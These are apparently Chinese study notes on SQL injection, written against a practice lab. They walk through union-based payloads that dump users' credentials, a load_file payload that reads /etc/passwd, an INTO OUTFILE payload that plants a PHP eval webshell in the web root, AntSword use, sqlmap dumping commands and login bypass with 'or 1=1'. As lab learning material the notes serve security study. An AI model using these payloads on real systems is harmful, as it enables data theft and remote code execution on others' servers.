SQL注入的思路
1.注入点——一般是show.php?id=1
2.利用and判断是否能正常执行SQL语句并回显(判断闭合方式)
整数型注入和字符型注入(包裹)
3.判断列数
4.使用联合查询查看语句回显位置
5.回显点添加函数查看想要的内容(database,user)
6.查数据表
常用的数据库函数:
三个表
information_schema.schmeta 存储了数据库中所有数据库的库名
information_schema.tables 所有数据表的表名
information_schema.columns 所有的列的列名
常用字段名:
table_schema 数据库库名
table_name 数据表名
column _name 列名
group_concat(),括号中只能写字段名
select 1,2,3,123可以写函数
查表名:
id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' --+
联合查询当前security数据库中information_schema_tables表的具体表名
table_name查询时一次性只能输出一个表——limit a,b(从a+1的位置去b数量的值展示)——group_concat(table_name)将参数集中到一行展示
7.查列名:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' --+
查询当前库的列名表中的所有列名,列名会有重复
查某个表中的具体列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
列名为id username password
8.查询该列名下的具体字段值
?id=-1' union select 1,2,group_concat(id,username,password) from users 将列名作为函数,从users表中查询具体字段值(表名users不关联字段时,不需要闭合)
以这种方式回显——idusernamepassword,idusrnamepassword
可插入:使三列的字段隔开;
id,':',username,':',password
当出现Illegal mix of collations for operation 'UNION报错时——字段值校对失败
联合查询中字段值使用unhex(hex())绕过
6.当知道系统为linux时——第五步后另一种做法:使用load_file('系统目录')字段读取系统敏感文件
读取文件注入
LINUX的目录结构:
以/根开始,树状结构
常见的系统文件路径:
/etc/passwd 存储系统的用户名、密码及其他信息
格式:
root:x:0:0:root:/root:/usr/bin/zsh
对应用户名,密码,用户UID,所属组ID,全称,属于该用户的文件路径,用户执行命令时shell环境路径
当UID或组ID有一个为0时,该用户具备系统最高权限
/etc/shadow 存储系统的密码
注入读取/etc/password文件
load_file()——绝对路径
?id=-32 union select 1,2,3,4,5,6,7,8,9,10,load_file('/etc/passwd'),12,13,14,15 路径必须用引号或括号包裹,与闭合方式无关
写入文件注入——into out_file "目录"字段
into out_file "目录"
——绝对路径、具备木马文件的执行权限
——mysql设置开启、secure_file_priv="空"
php网页为例;
写入什么文件——木马
木马文件的概念
1、都需要执行权限
2、种类复杂 exe(应用程序),jsp,php,aspx(webshell——危险性:可以远程执行命令,实现命令注入——代码执行,命令执行)
代码执行和命令执行的区别
代码执行:php,传递php代码作为参数,放到存在代码执行函数的命令中,
代码执行函数
eval()——传递的参数会被识别为php代码进行解析
命令执行函数
system()——传递的参数会被识别为系统命令进行解析,例ls,cat
作用:导致系统或网站被恶意操控
操控的核心原理:系统或网站中本身存在如eval()等敏感函数
举例:
php一句话木马
格式:<?php @eval($_POST['c']);?>
POST方式传递参数c到php页面中执行
show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,"<?php @eval($_POST['c']);?>",12,13,14,15 into outfile "var/www/html/suncong.php"
将1到10以及参数'c'写入到/var/www/html/suncong.php路径,如路径不存在则新建
@:保证在报错时也能正常执行
验证是否成功;
访问suncong.php
harkbar——body——c=phpinfo()
回显php版本信息,成功
成功后,使用蚁剑
蚁剑的三大功能:
文件管理,可以看到该网站IP端口下的所有文件
命令执行,对网站底层的系统执行命令
SQL语句执行,用数据库账户密码连接网站的数据库,执行SQL语句
蚁剑安装
关掉病毒和威胁防护
安装时工作目录选择为antSword-master
一、常用的传参方式
get方式:$_GET,
特点:表现为在url后拼接?id=1,如果没有则不是get方式传参
post方式:$_POST,id=1
特点:传webshell
request方式:$_REQUEST
特点:
二、sqlmap使用
kali命令:
常用
sudo su 切换到root用户
password root 修改root用户密码
sqlmap命令
特点:用来跑get方式传参的界面
命令:
sqlmap -u 存在注入点的URL——
--dbs 数据库的库名和数量
--current-db 当前使用的数据库名
--tables -D "database" 库下的所有表名
--columns -D "database" -T "table" 该库表下的所有列名
--dump -C"id" -D "database" -T "table" 库表列的具体字段值并展示
(1)探测该点的传参方式
(2)可执行的SQL语句类型(盲注,联合查询等)
(3)闭合方式
(4)列数
(5)列的回显点
(6)数据库类型版本、数据库使用者、web语言版本、web中间件版本
sqlmap -u 存在注入点的URL --dbs——使用设定好的sql语句探测数据库库名和数量
?当前路径使用的数据库
sqlmap -u URL --current-db——探测当前使用的数据库
sqlmap -u URL --tables -D "security"——探测security数据库中的表
sqlmap -u URL --columns -T "users" -D "security"——探测security数据库中users表下的列
sqlmap -u URL --dump -C "id,username,pssword" -T "users" -D "security"——探测security数据库中users表下这些列具体的字段值并展示、*到默认路径
三、SQL注入的类型
1.联合查询,G或P传参-and逃逸-列数-列回显点-库名系统名-表名-列名-字段值
2.
四、万能密码登录
使用背景:网页为post方式传参
or逻辑词概念:只要一边为真则输出为真,俩边都为假输出为假
思路:
1.输入任意账号密码后点击登录,load返回界面
2.观察界面,URL无?id=,enable post自动开启,body内有输入的账号密码——POST方式传参——账号密码用post传递
3.猜测SQL语句——在数据库相应的表中查询输入的账号密码,如果有则返回成功,没有则返回失败
select * from table where username=$ and password=$ limit 0,1。。。。
4.未知账号密码,用or使where始终输出为真
where 1=1时,select * from table
select * from table
不判断账号密码是是否正常,直接查询表里的所有内容——直接查询登录后的内容
select * from table where username=1 or 1=1 --+——
无报错回显表示闭合方式错误——or逃逸失败
password处有报错回显——username闭合方式正确——or逃逸成功
5.报错:use near '' and password='' LIMIT 0,1' at line 1
报错部分在near''中——'and password='报错
——注释符被转义未生效,更换注释符#——或者在body中观察输入1' or 1=1 --+被转换后编码,使转换后注释符保持不变
拿到用户名后:
直接在用户名处进行联合查询
select * from table where username=Dumb' order by 10 #